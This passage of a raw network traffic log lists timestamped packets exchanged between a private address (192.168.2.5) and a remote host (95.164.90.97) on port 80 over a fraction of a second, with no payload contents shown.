Oct 7, 2024 21:18:41.754559040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754599094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754632950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754664898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754673004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754698992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754734039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754745960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754770041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754781008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754802942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754848003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754920959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754955053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754968882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.754988909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.754995108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755023003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755034924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755060911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755096912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755106926 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755269051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755301952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755336046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755348921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755369902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755378962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755414963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755424976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755459070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755469084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755492926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755500078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755527020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755537033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755559921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.755565882 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.755604029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.767966986 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768001080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768028975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768059015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768129110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768260956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768424034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768457890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768490076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768491030 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768518925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768527031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768589973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768625021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768657923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768670082 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768692970 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768707991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768726110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768760920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768770933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768796921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768830061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768841982 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768862963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768897057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768913984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.768933058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.768939018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769009113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769045115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769078016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769090891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769113064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769119978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769145966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769190073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769200087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769232988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769267082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769277096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769303083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769311905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769575119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769629002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769737959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769772053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769785881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769805908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769840002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769850969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769875050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.769896984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.769926071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.770123959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.770158052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.770175934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.770191908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.770224094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.770224094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.770226002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.770260096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.770304918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830135107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830169916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830199957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830204964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830231905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830262899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830293894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830328941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830336094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830363989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830380917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830400944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830410004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830436945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830449104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830471992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830480099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830566883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830585003 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830619097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830626965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830657005 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830733061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830765963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830796957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830801010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830815077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830833912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830854893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830868959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.830881119 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.830914021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831090927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831125021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831159115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831188917 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831190109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831197023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831243038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831249952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831279993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831294060 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831312895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831345081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831346035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831346989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831418991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831418991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831455946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831464052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831490993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831495047 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831526041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831541061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831559896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831566095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831593990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831602097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831629038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831641912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831662893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831696033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831727028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831729889 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831760883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831764936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.831799030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.831828117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832001925 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832051992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832221985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832257032 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832272053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832292080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832290888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832325935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832329035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832379103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832412004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832412958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832427979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832446098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832464933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832480907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832487106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.832511902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.832555056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.867459059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.874203920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059216976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059274912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059307098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059335947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059340954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059374094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059397936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059449911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059483051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059494019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059516907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059525967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059552908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059561014 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059597969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059637070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059669971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059685946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059703112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059712887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059740067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059743881 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059787035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059839964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059875011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059894085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059907913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059915066 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.059942961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.059987068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060036898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060069084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060112953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060156107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060189962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060199022 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060224056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060257912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060271978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060291052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060323954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060334921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060359955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060364962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060508966 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060514927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060585976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060739994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060772896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060806036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060821056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060839891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060851097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060873985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060909033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060918093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.060942888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060980082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.060992956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061013937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061021090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061047077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061080933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061090946 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061114073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061147928 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061157942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061182976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061192036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061302900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061336040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061357975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061371088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061372995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061404943 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061410904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061445951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061453104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061528921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061692953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061726093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061759949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061777115 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061793089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061800957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061827898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061860085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061875105 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061896086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061903000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061929941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061939001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.061966896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.061971903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062001944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062010050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062036037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062045097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062071085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062079906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062104940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062114954 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062139034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062154055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062174082 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062179089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062208891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062225103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062243938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062249899 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062294006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062565088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062597990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062609911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062633038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062665939 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062675953 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062699080 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062731981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062742949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062766075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062773943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062799931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062817097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062834024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062843084 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062869072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062889099 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062906027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062920094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062938929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062962055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.062973022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.062980890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063008070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063015938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063043118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063049078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063077927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063086033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:42.063112020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:42.063118935 CEST	49810	80	192.168.2.5	95.164.90.97
